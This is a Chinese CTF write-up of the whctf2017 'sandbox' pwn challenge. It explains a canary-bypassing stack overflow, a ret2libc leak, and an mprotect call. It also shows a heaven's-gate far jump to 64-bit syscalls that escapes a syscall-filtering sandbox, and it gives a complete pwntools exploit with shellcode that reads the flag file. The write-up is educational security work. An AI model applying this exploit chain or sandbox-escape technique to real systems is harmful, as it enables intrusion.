pwn學習之三

whctf2017的一道pwn題sandbox，這道題提供了兩個可執行文件加一個libc，兩個可執行文件是一個vuln，一個sandbox，這是一道通過沙盒去保護vuln不被攻擊的題目。

用ida打開vuln：

進入80485CB函數：

這里s給的空間是48但是輸入是直到換行停止，這里就存在了棧溢出。但是這道題目開了CANARY，所以不能直接覆蓋到返回地址。注意到這題，s的空間下面就是v5，而v5是控制寫到s的位置，所以可以通過覆蓋v5到返回地址而繞過修改那段Cookie，在不開sandbox的情況下拿shell的辦法為：

1.覆蓋返回地址為puts函數的plt表地址，由於這樣跳轉少了一個call函數也就是沒有push返回地址，所以對於puts函數執行完的返回地址就是進入這個函數時的esp地址的下一個地址，然后再下一個地址就是puts函數的參數，第一次提交'a'*0x30+p8(0x48)+p32(puts_plt)+p32(main_addr)+p32(puts_got)這樣就會在執行到函數retn時去執行puts(puts_got)然后再返回到main函數中去。

2.拿到了puts函數的實際地址再通過libc文件去拿到system函數的實際地址，再到第二次輸入把/bin/sh寫到內存中去，也就是調用read函數，提交'a'*0x30+p8(0x48)+p32(read_plt)+p32(main_addr)+p32(0)+p32(0x0804a02c),這樣在執行完函數時會返回到read函數，接着輸入'/bin/sh'就將字符串寫到了0x0804a02c里。

3.最后調用system函數，參數為0x0804a02c即可拿到shell。

sandbox程序通過系統調用號限制了一些函數的使用，如execve、open、clone、vfork、create、opennat等，同時還會不停殺死新的進程。要繞過沙盒要知道兩點，一是32位的系統調用號和64位的系統調用號不同，二是可以在32位進程中使用64位的系統調用要用到CS寄存器。

在CPU處於保護模式下運行時，CS其實是段選擇器，通過CS的值去找描述符表內對應的代碼段基址。這里參考資料：https://www.malwaretech.com/2014/02/the-0x33-segment-selector-heavens-gate.html

所以我們要做的就是把CS寄存器從0x23變成0x33，這個需要通過遠跳轉來實現，即jmp 0x33:addr。知道了如何跳到64位還要知道32位和64位系統調用時的情況，在32位系統中，是通過int $0x80進入系統調用，eax為系統調用號，參數依次放在ebx,ecx,edx中，而在64位系統中，是通過syscall進入系統調用，rax為系統調用號，參數依次放在rdi,rsi,rdx中。

那么這道題的解題過程為：

1,2兩步同上(2中將寫入/bin/sh改為寫入./flag)。

3.通過puts函數實際地址和libc拿到mprotect函數的實際地址，通過mprotect函數去申請一個內存頁為可讀可寫可執行，提交p32(mprotect_addr)+p32(main_addr)+p32(0x0804a000)+p32(0x1000)+p32(7)，這樣將0x0804a000變為了可執行的內存段。

4.通過read函數向0x0804a000中寫入代碼同時設置返回值為0x0804a000，這樣read函數運行完后即可到0x0804a000去執行寫入的代碼（這里由於sandbox會不斷的殺死新的進程，所以並沒有使用execve函數而是使用了open,read,write函數將flag文件讀取到終端上顯示）。

exp:

from pwn import *
context(arch='i386',os='linux',endian='little')
context.log_level='debug'
                                                                                                                                      
def game_start(p,libc):
    puts_plt=0x08048470
    puts_got=0x0804A018
    main_addr=0x0804865B
    read_plt=0x08048440
    payload='a'*48+p8(0x48)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
    p.sendline(payload)
    print p.recvline()
    re = p.recv()
    puts_addr = u32(re[:4])
    print hex(puts_addr)
    data_addr = 0x0804A02C
    payload='a'*48+p8(0x48)
    system_addr = puts_addr-libc.symbols['puts']+libc.symbols['system']
    mprotect_addr = puts_addr-libc.symbols['puts']+libc.symbols['mprotect']
    print hex(system_addr)
    payload+=p32(read_plt)+p32(main_addr)+p32(0)+p32(data_addr)+p32(0x40)
    p.sendline(payload)
    print 'before:'+p.recvline()

    p.send('./flag')
    payload='a'*48+p8(0x48)
    payload+=p32(mprotect_addr)+p32(main_addr)+p32(0x0804a000)+p32(0x1000)+p32(7)
    p.sendline(payload)
    print 'third puts s:'+p.recvline()
    payload='a'*48+p8(0x48)
    payload+=p32(read_plt)+p32(0x0804ab00)+p32(0)+p32(0x0804ab00)+p32(0x200)
    p.sendline(payload)
    print 'fourth puts s:'+p.recvline()
    payload=asm('jmp 0x33:0x0804ab20',arch='i386').ljust(0x20,'\x90')
    shellcode64 = '''
    BITS 64
    org 0x0804ab20
    mov rdi, 0x0804a02c
    xor rsi, rsi
    mov rax, 2
    syscall
    mov rdi, rax
    mov rax, 0
    mov rsi, 0x0804a900
    mov rdx, 0x100
    syscall
    mov rdx, rax
    mov rdi, 1
    mov rsi, 0x0804a900
    mov rax, 1
    syscall
    mov rdi, 0
    mov rax, 60
    syscall
    '''
    f = open('shell64.asm', 'wb')
    f.write(shellcode64.strip())
    f.close()
    os.popen('nasm -f bin -o shell64 shell64.asm')
    f = open('./shell64', 'rb')
    d2 = f.read()
    f.close()
    payload+=d2
    p.sendline(payload)
    p.interactive()

if __name__=='__main__':
    debug=1
    if debug==1:
        p=process('./vuln')
        #p=process(['./sandbox','./vuln'])
        libc=ELF('./libc-32.so')
    else:
        p=remote('118.31.18.145',20004)
        libc=ELF('./libc.so.6')

    #gdb.attach(p,'b *0x0804863F')

game_start(p,libc)

sandbox題目下載地址：http://files.cnblogs.com/files/lllkh/68025091-fb40-4281-83ea-230331c1448a.gz